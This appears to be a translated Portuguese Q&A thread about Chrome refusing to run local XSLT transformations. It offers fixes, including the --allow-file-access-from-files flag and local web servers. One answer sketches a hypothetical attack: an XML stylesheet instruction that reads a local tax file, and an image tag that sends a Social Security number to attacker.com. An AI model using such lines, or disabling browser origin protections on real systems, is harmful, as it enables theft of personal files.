Eu estava pesquisando o xslt e comecei a testar os exemplos no w3schools.
No entanto, quando salvo o xml e o xsl em arquivos e tento abri-los localmente, o chrome não realizará a transformação xsl. Apenas mostra uma página em branco.
Eu adicionei a <?xml-stylesheet type="text/xsl" href="style.xsl">
tag ao documento xml, e o firefox a renderiza como deve ser. Além disso, se eu olhar os arquivos por meio de um servidor da web, o chrome exibe o arquivo como deve ser.
Será que o Chrome tem problemas para encontrar as informações da folha de estilo quando o link é local? Alterar o href para file:///C:/xsl/style.xsl
não fez nenhuma diferença.
Atualização: Este parece ser um efeito colateral de uma política de segurança para não tratar file: /// * como a mesma origem. Isso faz com que o seguinte erro apareça no console:
Tentativa insegura de carregar o arquivo URL: /// C: /xsl-rpg/style.xsl do quadro com o arquivo URL: /// C: /xsl-rpg/data.xml. Domínios, protocolos e portas devem corresponder.
fonte
file:
protocolo, o Chrome gera o mesmo erro de domínio.Respostas:
A resposta curta é "Não, use um dos diversos conjuntos de navegadores que existem" .
O motivo pelo qual isso não funciona é devido a uma preocupação de segurança que o Chrome abordou de forma controversa [1] [2] [3] [4] , bloqueando arquivos XML de acessar arquivos XSLT locais no mesmo diretório, enquanto HTML os arquivos podem acessar arquivos .CSS no mesmo diretório sem problemas.
Em todas as questões citadas acima, os usuários pediram uma mensagem de erro mais clara (já que os domínios, protocolos e portas correspondem de fato), ou pelo menos exibindo o XML sem o estilo. Os desenvolvedores do Chrome ignoraram essas solicitações.
fonte
Você pode fazer isso localmente usando sinalizadores de linha de comando do Chrome.
A bandeira específica é
--allow-file-access-from-files
No OS X: em Terminal.app execute
/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files
No Windows: no prompt de comando, execute
%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files
Nota: Você provavelmente terá que sair do Chrome se ele estiver sendo executado de outra forma Ch
fonte
C:\Program Files (x86)\Google\Chrome\Application
e o comando --allow-file-access-from-files é executado bem, mas meu documento XML local (transformado por um arquivo XSLT local) não é exibido./Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files
trabalhou para mim. Obviamente, estou executando o Chrome Canary. Depois de executar este comando, uma nova janela do Chrome deve abrir e permitir que você execute sua transformação XSL.get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Se você quiser manter o OP, a resposta é Não (como outros apontaram), mas uma maneira de corrigir o problema é rodar um servidor web simples e abrir arquivos via http no chrome. Se você tiver o python 2.x instalado, poderá executar um servidor da web digitando:
Ou em python 3.x:
e abra o arquivo usando
http://localhost:8000/yourfile.xml
no Chrome. Esperançosamente, você só quer fazer seu trabalho e não é uma coisa crucial ter que abrir o arquivo usandofile://
fonte
Demorou um pouco para decifrar a página de bug do Chrome - eles estão muito interessados em não explicar qual é o problema e por que escolheram quebrar todos em vez de não quebrar todos.
Suponha que eu tenha um arquivo XML - em algum lugar - no meu disco rígido, por exemplo:
E uma entidade maliciosa - de alguma forma - conseguiu colocar um arquivo Xml malicioso no meu computador, por exemplo:
Imagine TrojanVirusWorm.xml contém uma instrução de processamento de folha de estilo ( PI ):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
O invasor então instrui meu navegador a navegar até o
trojanVirusWorm.xml
arquivo salvo localmente .Aparentemente, há uma maneira de um arquivo XML ler o conteúdo do arquivo XSD (em vez de ser transformado pelo arquivo XSD):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> <!--And then a miracle happens, and this XML file is able to read the contents of the stylesheet xml file--> <html> <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> </html>
Não entendo como um arquivo XML pode ler um arquivo de folha de estilo. Mas a equipe do Chrome nos garante que é um perigo e que não pode ser resolvido.
Todos os outros navegadores resolveram isso. Eles resolveram porque não é um problema .
fonte
Minha solução alternativa para ver um xml de acordo com um arquivo xsl
Suponha que temos um some_file.xml com cabeçalhos:
<?xml version="1.0" encoding="UTF-8" ?> <?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
https://some-site.com/Common.xsl
e o colocamos próximo aosome_file.xml
href="https://some-site.com/Common.xsl"
parahref="http://localhost:8001/Common.xsl"
python3 -m http.server 8001
http://localhost:8001/some_file.xml
fonte
Você pode habilitar o Chrome para renderizar o arquivo XSL alterando as configurações do navegador. Uma abordagem mais segura seria acessá-lo por meio de um servidor da web local, como Visual Studio Code Live Server ou Apache. Consulte XSLT não renderiza em arquivos locais para ver as etapas.
fonte